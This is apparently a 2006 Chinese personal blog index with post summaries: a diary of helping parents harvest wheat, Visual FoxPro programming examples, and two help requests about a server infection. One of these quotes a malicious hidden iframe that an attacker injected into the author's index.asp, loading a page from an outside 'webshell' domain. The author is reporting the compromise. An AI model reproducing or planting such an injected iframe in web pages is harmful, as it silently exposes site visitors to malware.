博文
小麦黄了(2006-07-03 10:15:00)
摘要： 2006年7月1日，我把闹钟定到下午两点，起来简单收拾了点东西就坐仁大的公共汽车到老家看收小麦的父母亲。准备到放暑假回家，听说小麦已收割得差不多了。如果放暑假回家，小麦都装进袋子里了，回家多不好意思。这次回家也给父母帮不上忙，只是给父母长个精神，使一辈子受苦的他们精神有个安慰。 回家也很穷酸。买了两个西瓜给父母亲降降暑，给多病的母亲买了点药，二斤白糖、二斤黑糖，给一辈子抽烟的父亲买了一条比我平时买的20元的兰州提高一个档次----软海洋。 下午四点已到家，父母亲已在王庄割小麦，我把行李放到家里，也到麦地。不过今天天气不是很热，天上有雨星的云。父亲说昨天是最热的，割几捆麦要费很大事，然而父母亲的汗还是不停的流，因为收割小麦得半弯着腰。我不会用镰，但我会捆，到晚上八点，我们已收割了126捆。然后码起来，因为看到天上有雨，还得给小麦戴上顶。回家时还得用扁担挑上10捆。父亲担10捆我也担10捆，我想10捆不是很重，但因为潮湿，有100来斤，还是压得我腰弓了，咯吱咯吱的扁担压在我肩上有些疼痛，到麦场时，我的肩已擦烂了些许。父母亲常年扁担来扁担去，辛劳60岁还得辛劳。 到麦场时还得摞麦子，把小麦摞成一个圆锥形是要花力气的，麦土、麦芒都非常痒人，也非常呛人，没有过滤设备还能吸到肺部。啊!好一担麦子。 麦子摞完时已是晚上八点钟，母亲还得做饭，父亲喂猪、喂驴，到吃饭时已到晚上10 点钟，干活不多的我在看电视时已睡着了。饭熟后母亲叫醒我，我在睡眼惺松中解决了三碗桨水面。 第二天一大早我坐上公共汽车回到县城，一路上我想着今年的小麦到放暑假时父母亲已装到口袋里了。
......
例题：奇数阶的幻方阵(2006-06-28 14:56:00)
摘要： 如果整数方阵的每行各数之和、每列各数之各以及两个对角线上各数之和全都相等，则称之为幻方阵。此时，每行(每列或对角线)各数之和1/2 n(n2+1),称之为方阵常数。由自然数1~n2构成的n(n为>=3的奇数)阶幻方阵是最简单的一种。 幻方阵有以下规律： 1、数1放在第一行的正中一列 2、从数2起每数所在的行数比前一数所在的行数减1，所在的列数比前一数所在的列数加1。若行数超出下界(即I=0)，则改为上界(令I=N)，若列数超出上界(即J=N+1)，则改为下界(令J=1)。若某数为N的倍数，则其后之数所在的位置为列数不变，行数加1。 首先在表单的Load事件代码中定义全局变量n用来存放所选择的幻方阵的阶数，定义全局变量数组Lab[1,1]用来存放显示幻方阵各个元素的标签组。 public lab(1,1),n 在表单的destroy事件代码中释放全局变量及数组： lab=0 release lab,n在表单的Activate事件代码中调用“布阵”按扭的click事件代码：thisform.command1.click容器container1的init事件代码：n=thisform.spinner1.valuedd=230/ndd=int(dd+.5)dime lab[n,n]for i =1 to n*n k=allt(str(i)) this.addobject('label&k','label') lab[i]=this.label&kendforfor i=1 to n for j=1 to n with lab[i,j] .left=dd*(j-1)+2 &nb......
用“筛法”找1~100之间的全部素数(2006-06-22 10:58:00)
摘要：编写表单的Destroy事件代码：lab=0编写容器container1的init事件代码：public lab[10,10]for i = 1 to 100 k=allt(str(i)) this.addobject('lab&k','label') lab[i]=this.lab&kendforfor i = 1 to 10 for j=1 to 10 with lab[i,j] .left=25*(j-1)+2 .top =20*(i-1)+2 .height=20 .width=25 .visible=.t. .caption=allt(str((i-1)*10+j)) .alignment=2 .fontbold=.t. .fontname='garamond' endwith endfor endfor 编写“开始”按钮command1的click事件代码：n = 100lab(1).enabled=.f.for i = 2 to sqrt(n) if la......
后面的check1的属性究竟是什么？(2006-06-06 10:33:00)
摘要：使用数组作为组合框的数据源编写表单的事件代码：load事件：public a(9,3)a(1,1)="曹植"a(1,2)="三国"a(1,3)="七步诗"+chr(13)+chr(13)+"煮豆燃豆萁,"+chr(13)+"豆在釜中泣:"+chr(13)+"'本是同根生，"+chr(13)+"相煎何太急！'"a(2,1)="李白"a(2,2)="唐代"a(2,3)="望庐山瀑布"+chr(13)+chr(13)+"日照香炉生紫烟,"+chr(13)+"遥看瀑布挂前川。"+chr(13)+"飞流直下三千尺,"+chr(13)+"疑是银河落九天。"a(3,1)="杜甫"a(3,2)="唐代"a(3,3)="绝句"+chr(13)+chr(13)+"两个黄鹂鸣翠柳，"+chr(13)+"一行白鹭上青天。"+chr(13)+"窗含西岭千秋雪，"+chr(13)+"站泊东吴万里船。"a(4,1)="苏轼"a(4,2)="宋代"a(4,3)="题西林壁"+chr(13)+chr(13)+"横看成岭侧成峰，"+chr(13)+"远近高低各不同。"+chr(13)+"不识庐山真面目"+chr(13)+"只缘身在此山中。"a(5,1)="李清照"a(5,2)="宋代"a(5,3)="绝句"+chr(13)+chr(13)+"生当作人杰，"+chr(13)+"死亦为鬼雄。"+chr(13)+"至今思项羽，"+chr(13)+"不肯过江东。"a(6,1)="林升"a(6,2)="林升"a(6,3)="南宋"a(6,2)="题临安邸"+chr(13)+chr(13)+"山外青山楼外楼，"+chr(13)+"西湖歌舞几时休?"+chr(13)+"暖风吹得游人醉"+chr(13)+"直把杭州当汴州。"a(7,1)="马致远"a(7,2)="元代"a(7,3)="天净沙-秋思"+chr(13)+chr(13)+"枯藤老树昏鸦，"+chr(13)+"小桥流水人家，"+chr(13)+"古道西风瘦马。"+chr(13)+"夕阳西下，"+chr(13)+"断肠人在天涯。"a(8,1)="于谦"a(8,2)="明代"a(8,3)="石灰咏"+chr(13)+chr(13)+"千锤万凿出深山，"+chr(13)+"烈火焚烧若等闲。"+chr(13)+"粉身碎骨浑不怕，"+chr(13)+"要留清白在人间。......
求助！(2006-06-04 09:26:00)
摘要：我的服务器是Windows2003 Server，今天发现了如下病毒：文件名： err_404[2].jpg>>//svchhost.exe文件路径是 C:\Doments and setting\administrator\local setting\temporary Internet Files\content .IE5\GTSV8F8R Trojan.psw.GameeT.d
我用最新的瑞新杀，说需要手动，但我找在这个路径下却找不到这个文件，请大家有帮忙！！！！！！！......
在网站主页的标题栏中出现别人的域名(2006-05-25 16:05:00)
摘要：我用的网站是后缀名是asp，前两天，打开网站速度很慢，结果发现在状态栏中出出了正在打开"http://webshell.cardb.cn/hinet.htm"我用dreamveaver编辑index.asp发现最下面出现了如下代码：
<iframe width="0" hight="0"frame border ="0" scrolling="no" crc="http://webshell.cardb.cn/hinet.htm"name="loginf"> </iframe>......
例题：（关于排序）(2006-05-18 16:17:00)
摘要：由计算机随机生成10个互不相同的数，然后将这些数按从小到大的顺序显示出来。表单的load事件代码中声明数组：public a(10)随机整数的生成由表单的activate事件代码完成：p=""for i=1 to 10 yes=1 do while yes=1 x=int(rand()*100) yes=0 for j=1 to i-1 if x=val(a(j)) yes=1 exit endif endfor enddo a(i)=str(x,2) p=p+a(i)+"," endfor thisform.label2.caption=left(p,len(p)-2) thisform.label4.caption=""排序command1的事件代码：asort(a)p=""for i=1 to 10 p=p+a(i)+"," endfor thisform.label4.caption=left(p,len(p)-2)重置按钮command2的click事件代码：thisform.activate......
数组数据的处理(2006-05-17 16:29:00)
摘要：1、处理数组元素的函数 数组提供了一种快速排序数据的方法。如果数据保存在数组中，就可以很方便地对其进行检索、排序或其他各种操作。可以使用如下函数来处理数组元素。 (1) 数组元素的排序-asort() (2)数组元素的搜索-ascan() (3)数组元素的删除-adel() (4)数组元素的插入-ains() (5)数组元素的个数-alen()2、与数组表记录进行数据交换的命令用于数组与数据表记录之间进行数据交换的命令有(1)scatter-将数据从当前记录复制到数组中去。(2)gather-用来自数组的数据替换当前表中的数据。(3) copy to array-从当前表向一个数组复制数据。(4)append from array-用来自数组的数据给当前表追加记录。......
一道例题(2006-05-17 09:01:00)
摘要：设有一个5*5的方阵，其中元素是由计算机随机生成的小于100的整数。求出：(1)主对角线上的元素之和；(2)方阵中最大的元素。编写代码：首先在表单的load事件代码中声明数组：public a(5,5)方阵的生成由表单的active事件代码完成：for i=1 to 25 yes=1 do while yes=1 x=int(rand()*100) yes=0 for j=1 to i-1 if x=val(a(j)) yes=1 exit endif endfor enddo a(i)=str(x,3) endfor thisform.list1.numberofelements=5 thisform.text1.value="" thisform.text2.value=""在表单的unload事件代码中释放全局变量数组a(): release a计算功能由“计算”按钮command1的click事件代码完成：s=0for i=1 to 5 s=s + val(a(i,i))endforthisform.text1.value=smax=0for i=1 to 5 for j= 1 to 5 if max< val(a(i,j)) max......